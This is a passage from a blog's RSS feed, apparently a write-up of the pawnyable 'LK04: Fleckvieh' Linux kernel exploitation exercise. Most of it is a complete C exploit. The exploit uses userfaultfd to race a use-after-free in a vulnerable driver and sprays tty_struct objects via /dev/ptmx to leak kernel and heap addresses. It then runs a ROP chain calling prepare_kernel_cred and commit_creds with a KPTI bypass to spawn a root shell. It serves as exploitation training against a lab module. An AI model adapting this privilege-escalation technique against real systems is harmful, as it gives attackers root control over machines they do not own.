  uaf_write(char_buf, 0x20, 0x400, &amp;#34;/dev/ptmx&amp;#34;, 0x10, O_RDONLY | O_NOCTTY);
  for (int i = 0; i &amp;lt; 0x10; ++i) {
    ioctl(vuln_spray_fds[i], 0, heap_addr);
  }

  close(vuln_fd);

  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h3 id=&#34;using-fuse&#34;&gt;Using FUSE&lt;/h3&gt;
&lt;p&gt;Since I cannot build test code with FUSE2 and the flow of exploit is same when using userfaultfd, I skip this part.&lt;/p&gt;</description>
      <content>&lt;hr&gt;
&lt;h2 id=&#34;lk04-fleckvieh&#34;&gt;LK04: Fleckvieh&lt;/h2&gt;
&lt;h3 id=&#34;using-userfaultfd&#34;&gt;Using userfaultfd&lt;/h3&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;792564831&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;792564831&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_using_userfaultfd_and_tty_struct.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#define _GNU_SOURCE
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/userfaultfd.h&amp;gt;
#include &amp;lt;poll.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;sched.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define VULN_DEVICE_NAME &amp;#34;fleckvieh&amp;#34;
#define VULN_DEV_CMD_ADD 0xf1ec0001
#define VULN_DEV_CMD_DEL 0xf1ec0002
#define VULN_DEV_CMD_GET 0xf1ec0003
#define VULN_DEV_CMD_SET 0xf1ec0004
#define VULN_DEV_MAX_SIZE 0x1000

#define KERNEL_BASE 0xffffffff81000000
#define TTY_STRUCT_MAGIC 0x100005401llu
#define TTY_STRUCT_OPS_OFFSET (0xffffffff81c3c3c0 - KERNEL_BASE)
#define PUSH_RDX_CMP_EAX_POP_RSP_RBP_OFFSET (0xffffffff8109b13a - KERNEL_BASE)
#define PUSH_RDX_CMP_EAX_POP_RSP_RBP \
  (kernel_base + PUSH_RDX_CMP_EAX_POP_RSP_RBP_OFFSET)
#define POP_RDI_OFFSET (0xffffffff8109b0ed - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff810729d0 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define POP_RCX_OFFSET (0xffffffff81022fe3 - KERNEL_BASE)
#define POP_RCX (kernel_base + POP_RCX_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff81654bdb - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff81072830 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET \
  (0xffffffff81800e26 -    \
   KERNEL_BASE)  // Offset in the function
                 // swapgs_restore_regs_and_return_to_usermode
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)

void fatal(const char* msg) {
  perror(msg);
  exit(-1);
}

uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
  printf(
      &amp;#34;[*] user_cs: 0x%016lx, user_ss: 0x%016lx, user_sp: 0x%016lx, &amp;#34;
      &amp;#34;user_rflags: &amp;#34;
      &amp;#34;0x%016lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
}
static void get_shell() {
  puts(&amp;#34;[+] Get shell!&amp;#34;);
  char* argv[] = {&amp;#34;/bin/sh&amp;#34;, NULL};
  char* envp[] = {NULL};
  execve(&amp;#34;/bin/sh&amp;#34;, argv, envp);
}

int register_uffd(void* addr, size_t len, void* (*handler)(void*)) {
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  pthread_t th;
  int uffd = syscall(__NR_userfaultfd, __O_CLOEXEC | O_NONBLOCK);

  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if (ioctl(uffd, UFFDIO_API, &amp;amp;uffdio_api) &amp;lt; 0) {
    fatal(&amp;#34;ioctl(UFFDIO_API)&amp;#34;);
  }

  uffdio_register.range.start = (uint64_t)addr;
  uffdio_register.range.len = len;
  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
  if (ioctl(uffd, UFFDIO_REGISTER, &amp;amp;uffdio_register) &amp;lt; 0) {
    fatal(&amp;#34;ioctl(UFFDIO_REGISTER)&amp;#34;);
  }

  if (pthread_create(&amp;amp;th, NULL, handler, (void*)(uint64_t)uffd) &amp;lt; 0) {
    fatal(&amp;#34;pthread_create&amp;#34;);
  }

  return uffd;
}

typedef struct {
  int id;
  size_t size;
  char* data;
} request_t;

int vuln_fd = -1;
long vuln_blob_add(size_t size, void* data) {
  request_t req = {.id = 0, .size = size, .data = data};
  return ioctl(vuln_fd, VULN_DEV_CMD_ADD, &amp;amp;req);
}
long vuln_blob_del(int id) {
  request_t req = {.id = id, .size = 0, .data = NULL};
  return ioctl(vuln_fd, VULN_DEV_CMD_DEL, &amp;amp;req);
}
long vuln_blob_get(int id, size_t size, void* data) {
  request_t req = {.id = id, .size = size, .data = data};
  return ioctl(vuln_fd, VULN_DEV_CMD_GET, &amp;amp;req);
}
long vuln_blob_set(int id, size_t size, void* data) {
  request_t req = {.id = id, .size = size, .data = data};
  return ioctl(vuln_fd, VULN_DEV_CMD_SET, &amp;amp;req);
}

cpu_set_t target_cpu;
char char_buf[VULN_DEV_MAX_SIZE];
uint64_t* uint64_buf = (uint64_t*)char_buf;
int vuln_id = -1;
enum vuln_operation_type {
  NONE = 0,
  UAF_READ = 1,
  UAF_WRITE = 2,
} vuln_operation_type;
const char* vuln_spray_dev_name;
int vuln_spray_flags;
int vuln_spray_fds[0x1000];
int vuln_spray_cnt;
static void* userfault_handler(void* args) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;userfault_handler: mmap&amp;#34;);
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  puts(&amp;#34;[*] userfault_handler: waiting for page fault...&amp;#34;);
  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&amp;amp;pollfd, 1, -1) &amp;gt; 0) {
    if (pollfd.revents &amp;amp; POLLERR || pollfd.revents &amp;amp; POLLHUP) {
      fatal(&amp;#34;userfault_handler: poll&amp;#34;);
    }

    if (read(uffd, &amp;amp;msg, sizeof(msg)) &amp;lt;= 0) {
      fatal(&amp;#34;userfault_handler: read(uffd)&amp;#34;);
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(&amp;#34;userfault_handler: msg.event != UFFD_EVENT_PAGEFAULT&amp;#34;);
    }

    printf(&amp;#34;[*] userfault_handler: addr=0x%llx, flag=0x%llx\n&amp;#34;,
           msg.arg.pagefault.address, msg.arg.pagefault.flags);

    switch (vuln_operation_type) {
      case NONE:
        break;
      case UAF_READ:
        vuln_blob_del(vuln_id);

        for (int i = 0; i &amp;lt; vuln_spray_cnt; ++i) {
          vuln_spray_fds[i] = open(vuln_spray_dev_name, vuln_spray_flags);
          if (vuln_spray_fds[i] &amp;lt; 0) {
            fatal(&amp;#34;userfault_handler: open(vuln_spray_dev_name)&amp;#34;);
          }
        }

        copy.src = (uint64_t)page;
        break;
      case UAF_WRITE:
        vuln_blob_del(vuln_id);

        for (int i = 0; i &amp;lt; vuln_spray_cnt; ++i) {
          vuln_spray_fds[i] = open(vuln_spray_dev_name, vuln_spray_flags);
          if (vuln_spray_fds[i] &amp;lt; 0) {
            fatal(&amp;#34;userfault_handler: open(vuln_spray_dev_name)&amp;#34;);
          }
        }

        copy.src = (uint64_t)char_buf;
        break;
      default:
        fatal(&amp;#34;switch(vuln_operation_type)&amp;#34;);
        break;
    }
    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &amp;amp;copy) &amp;lt; 0) {
      fatal(&amp;#34;userfault_handler: ioctl(UFFDIO_COPY)&amp;#34;);
    }
  }
  return NULL;
}

void close_sprays() {
  for (int i = 0; i &amp;lt; vuln_spray_cnt; ++i) {
    close(vuln_spray_fds[i]);
    vuln_spray_fds[i] = 0;
  }
}
void uaf_read(void* out, size_t read_size, size_t chunk_size,
              const char* spray_dev_name, int spray_cnt, int spray_flags) {
  vuln_operation_type = UAF_READ;
  vuln_spray_dev_name = spray_dev_name;
  vuln_spray_cnt = spray_cnt;
  vuln_spray_flags = spray_flags;
  void* page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;uaf_read: mmap&amp;#34;);
  }
  register_uffd(page, 0x1000, userfault_handler);

  vuln_id = vuln_blob_add(chunk_size, char_buf);
  vuln_blob_get(vuln_id, read_size, page);
  vuln_operation_type = NONE;

  memcpy(out, page, read_size);

  munmap(page, 0x1000);
}
void uaf_write(void* src, size_t write_size, size_t chunk_size,
               const char* spray_dev_name, int spray_cnt, int spray_flags) {
  vuln_operation_type = UAF_WRITE;
  vuln_spray_dev_name = spray_dev_name;
  vuln_spray_cnt = spray_cnt;
  vuln_spray_flags = spray_flags;
  void* page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;uaf_read: mmap&amp;#34;);
  }
  register_uffd(page, 0x1000, userfault_handler);

  vuln_id = vuln_blob_add(chunk_size, char_buf);
  memcpy(char_buf, src, write_size);
  vuln_blob_set(vuln_id, write_size, page);
  vuln_operation_type = NONE;

  munmap(page, 0x1000);
}

uint64_t kernel_base, heap_addr;

int main() {
  CPU_ZERO(&amp;amp;target_cpu);
  CPU_SET(0, &amp;amp;target_cpu);
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }
  save_state();

  vuln_fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
  if (vuln_fd &amp;lt; 0) {
    fatal(&amp;#34;open vuln_device&amp;#34;);
  }

  uaf_read(char_buf, 0x20, 0x400, &amp;#34;/dev/ptmx&amp;#34;, 0x10, O_RDONLY | O_NOCTTY);
  kernel_base = uint64_buf[3] - TTY_STRUCT_OPS_OFFSET;
  if (kernel_base &amp;lt; 0xffffffff81000000 || kernel_base &amp;gt; 0xffffffffc0000000) {
    fatal(&amp;#34;kernel_base&amp;#34;);
  }
  printf(&amp;#34;[+] kernel_base: 0x%016lx\n&amp;#34;, kernel_base);
  close_sprays();

  uaf_read(char_buf, 0x50, 0x400, &amp;#34;/dev/ptmx&amp;#34;, 0x10, O_RDONLY | O_NOCTTY);
  heap_addr = uint64_buf[9] - 0x48;
  printf(&amp;#34;[+] heap_addr: 0x%016lx\n&amp;#34;, heap_addr);
  close_sprays();

  void* rop_buf = malloc(0x1000);
  uint64_t* rop = (uint64_t*)rop_buf;
  *rop++ = PUSH_RDX_CMP_EAX_POP_RSP_RBP;
  *rop++ = POP_RDI;
  *rop++ = 0;
  *rop++ = PREPARE_KERNEL_CRED;
  *rop++ = POP_RCX;
  *rop++ = 0;
  *rop++ = MOV_RDI_RAX_REP;
  *rop++ = COMMIT_CREDS;
  *rop++ = BYPASS_KPTI;
  *rop++ = 0xdeadbeefcafe0000;
  *rop++ = 0xdeadbeefcafe0001;
  *rop++ = (uint64_t)get_shell;
  *rop++ = (uint64_t)user_cs;
  *rop++ = (uint64_t)user_rflags;
  *rop++ = (uint64_t)user_sp;
  *rop++ = (uint64_t)user_ss;
  for (int i = 0; i &amp;lt; 0x100; ++i) {
    vuln_blob_add(0x400, rop_buf);
  }

  uint64_buf[0] = TTY_STRUCT_MAGIC;
  uint64_buf[3] = heap_addr - 0x0c * 8;
  uaf_write(char_buf, 0x20, 0x400, &amp;#34;/dev/ptmx&amp;#34;, 0x10, O_RDONLY | O_NOCTTY);
  for (int i = 0; i &amp;lt; 0x10; ++i) {
    ioctl(vuln_spray_fds[i], 0, heap_addr);
  }

  close(vuln_fd);

  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h3 id=&#34;using-fuse&#34;&gt;Using FUSE&lt;/h3&gt;
&lt;p&gt;Since I cannot build test code with FUSE2 and the flow of exploit is same when using userfaultfd, I skip this part.&lt;/p&gt;
&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://pawnyable.cafe/linux-kernel/LK04/uffd.html&#34;&gt;https://pawnyable.cafe/linux-kernel/LK04/uffd.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://pawnyable.cafe/linux-kernel/LK04/fuse.html&#34;&gt;https://pawnyable.cafe/linux-kernel/LK04/fuse.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
  </channel>
</rss>
